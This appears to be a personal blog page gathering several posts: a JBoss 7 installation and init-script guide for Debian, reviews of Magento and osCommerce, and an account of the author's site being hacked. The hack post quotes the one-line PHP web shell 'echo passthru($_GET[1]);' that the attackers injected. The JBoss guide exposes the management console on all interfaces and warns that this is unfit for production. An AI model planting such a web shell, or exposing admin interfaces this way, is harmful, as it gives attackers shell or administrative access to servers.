1. download and prepare.

Start by download  currently available version (7.0.2) of the JBoss 7.

#Web Profile version download.
wget http://download.jboss.org/jbossas/7.0/jboss-as-7.0.2.Final/jboss-as-web-7.0.2.Final.tar.gz

Extracting files to the final location using tar.

<pre>tar zxvf jboss-as-web-7.0.2.Final.tar.gz -C /usr/local/

Now your JBoss 7 is placed inside /usr/local/jboss-as-web-7.0.2.Final/.I dont’t like that name.  It’s just cosmetics, but i prefer to rename the last part ot the path.

cd /usr/local/
mv jboss-as-web-7.0.2.Final/ jboss-7.0.2

Now important things. Some basic security and right management. I suppose  you don’t want to start your JBoss with root rights.
Therefore we need to create new user and new group named  jboss. Make them owner of your JBoss stuff.

addgroup jboss
useradd -g jboss jboss
chown -R jboss:jboss /usr/local/jboss-7.0.2/

Your jboss 7 is almost installed now.

2. Configuration and first test.

Start your brand new  Jboss 7 server with:

sudo -u jboss sh /usr/local/jboss-7.0.2/bin/standalone.sh &

Now it  is testable on your local machine with http://localhost:8080.
But! maybe you trying to install that jboss on remote machine and want to access this installation remotely. I that case you need to enable remote interface of your JBoss. I assume we start by standalone configuration, so  you have to edit /usr/local/jboss-7.0.2/standalone/configuration/standalone.xml file. The easiest way is to  find <interfaces> section and replace the 127.0.0.1 address with <any-address/>

<interfaces>
   <interface name="management">
     <any-address/>
     </interface>
   <interface name="public">
    <any-address/>
   </interface>
 </interfaces>

Beware with this configuration you expose also the management console to the public. The console is bounded to interface named=”management” by default.  In production environments you have to put more attention to this. but now you can access your jboss from anywhere.

3. Jboss as Service

Now we have a basic configured JBoss, but i want to maintain it as a service. Unfortunately Jboss archive has no predefined init.d scripts, so i have to to it on my own. But this is not a big problem, just straightforward following some Debian conventions and useful scripts.

Ok, let’s create jboss maintenance script.

touch /etc/init.d/jboss
chmod 755 /etc/init.d/jboss

Ready! Now put following inside.

#!/bin/sh
### BEGIN INIT INFO
# Provides: jboss
# Required-Start: $local_fs $remote_fs $network $syslog
# Required-Stop: $local_fs $remote_fs $network $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Management of JBoss AS v7.x
### END INIT INFO

#Defining JBOSS_HOME
JBOSS_HOME=/usr/local/jboss-7.0.2

case "$1" in
start)
echo "Starting JBoss AS7..."
sudo -u jboss sh ${JBOSS_HOME}/bin/standalone.sh &
;;
stop)
echo "Stopping JBoss AS7..."
sudo -u jboss sh ${JBOSS_HOME}/bin/jboss-admin.sh --connect command=:shutdown
;;
log)
echo "Showing server.log..."
tail -1000f ${JBOSS_HOME}/standalone/log/server.log
;;
*)
echo "Usage: /etc/init.d/jboss {start|stop|log}"
exit 1
;; esac
exit 0

This file is ready to use. You can use it self for manual start and stop of your jboss, you also can follow the server.log by using “log” parameter.
But let’s make it to the end, as an automatic starting service. It’s easy with update-rc.d script:

update-rc.d jboss defaults

Now your ready and your JBoss will be shutdown on machine shutdown and it should start on machine start-up.

Of course this is not the only way to start using JBoss 7. Your ideas are welcome!

Be Sociable, Share!

• 

There are only few bugs remained in that late version, even if I was still able to find some of them. Furthermore Magento-people have really speed their System up, which was enormously important to my eyes. So now it seems that Magento becomes really competitive E Commerce Platform and that is just great! If the development goes so further on. None of the competing Systems will survive.

However one need much time to get familiar with Magento. That platform brings very much functionality and configuration options, so configuring Magento can become a new Profession! Unfortunately Configuration Options are just sparse documented at that point, so there is bunch of try and error till one can get his first Online-Shop of dreams.

On the other side Magento has growing online Community, which is effect more worth as full documentation.

Be Sociable, Share!

• 

It is done professional! Yes, in my opinion that describes all advantages of that shop short. Cause in comparison to others shop systems it offers very much functionality and flexibility out of the box, combined with good looking default template. Just visit the demo-shop of Magento to see it self. I will not describe every detail of Magento here, cause it was done many times before, like that article, which describes (in German) why Magento is flexible, self-contained, individual, and is prepared for the future. But the best impression you can make by trying it out. I tried it for you and i can point some disadvantages to.

The greatest disadvantage of that system is that its powered by Zend Framework. Wait! You are Zend Framework evangelist? Let me explain. I don’t say that Zend Framework is bad, no i say – it’s slow ! Of cause it may be that Magento is so bad written on that brilliant framework making it, so slow, i don’t know, but it is really, really slow on normal PHP without Zend engine. And it’s don’t comes out with standard 8Mb configuration of your PHP engine, it needs at least 20Mb, otherwise it not works.

And of cause you need some not ever usual extensions of your PHP (which is PHP 5.2.0 or newer):

• PDO/MySQL
• MySQLi
• mcrypt
• mhash
• simplexml
• DOM

I called my host provider before a had all required addons. But i was supported by good installation routine in this exercise.

Further my shop installation was not such intuitive as it can be in the admin area, but it’s OK, cause there are really many configuration possibilities that have to be placed somewhere. I think it will mature in the future and is not so relevant at all ,cause admins will learn how to configure Magento, but customer will/must not learn it. And precisely customers will like your Magento usability, i think.

Last but not least my version (0.6.13…) of Magneto was pretty buggy. After doing some configuration steps in admin area the store produces errors (Zend Framework pointed me to SQL Errors) and was no more functional anymore . That are of cause teething problems, that are possibly already fixed in the new Version: “… Fixed few database foreign keys problems …“.

Finally i would say, that Magento is best online shop system that i know at the moment, i will stay watching Magento development and will try out newer matured versions. But at the moment Magento is not really ready for productive run, especially the slowness of the systen is greatest disadvantage of Magento for me.

Be Sociable, Share!

• 

Everybody who ever searched for open source online shop system have heard about osCommerce. My first installation of this online shop was at least two years ago. For two years that system does not much impression on me, but i will install it again and try it out, cause it might be the one of the mightiest shop systems on the web (please correct me if you know better ones). Of cause mighty is not automatically good.

OsCommerece is based on PHP and MYSQL, the advantages of that are clear for every blogger. But there may be also many disadvantages that of such constellation. But they are not the theme of that article.

19:30

I have downloaded osCommerce v2.2 rc1. And now it’s in uploading process. That takes pretty much time, cause there are many files in the base already in the base installation. So there was time to check mails and write this post till here in parallel.

19:45

Upload is ready. Begin of setup…

19:46

Cool I like it. Nice Ajax front end provides possibility to setup DB credentials and server-path. After that you are able to set up the Store Name, Store owner name and password.

That’s it.

19:50

I can start play around. I see that default template that makes me ill… But let’s continue.

20:20

First impressions. Not bad, but also not so good. The base installation has awful template. But it works and brings already in base installation enough functionality to use shop productive. Functionality at glance:

• Support of Products and product categories.
• HTML based Product description.
• Definition of product attributes. That nice and allows user to define some characteristics of product instead of defining thousands of products with few varieties.
• Support of manufacturers management.
• Supports of bargain offers is nice to, but is may be to simple.
• Tax calculation support.
• Many payment possibilities, that can be enabled in the admin console.
• and other things like “awaited products” or user evaluation.

All in one the osCommerce system appears to me to be usable. Of cause with other template and maybe some additional plug-ins.

On the osCommerce site you can read about thousands of plug-ins, handling every situation of life. OK, i have to search them, then base functionality is not enough for my needs. Especially reporting system is not really provided in base version. But i need one extended in any case.

20:45

Thanks for your attention! I’m gone to search for new templates and useful plug-ins.

P.S. Please give me hints about other online shop systems and links to good osCommerce plug-ins!

Be Sociable, Share!

• 

echo passthru($_GET[1]);

to some of php files. That gives them access to shell of my user account on this server. Bad thing it that other domains of mine where affected too. The “Forbidden” you probably have seen, was initiated by my server administrator to prevent broadening of the attack.

I could not find the exactly place of the initial exploit yet. But attackers have left many of traces. So that I was able to reconstruct the rest and remove backdoors. This was a new experience, especially I learned in seconds, that it is better to separate my popular projects from insecure open source playgrounds, like this site actually is.

And on holbreich .de i turned all possible security mechanisms on, till final clarification is done. So you can’t leave comments at the moment cause we are still under carnitine!

P.S. That hackers left some strange move on one of my domains for download to use out the traffic and space. Some was some strange comedy about two gay man. It was in some strange language, so I could not laugh

Be Sociable, Share!

•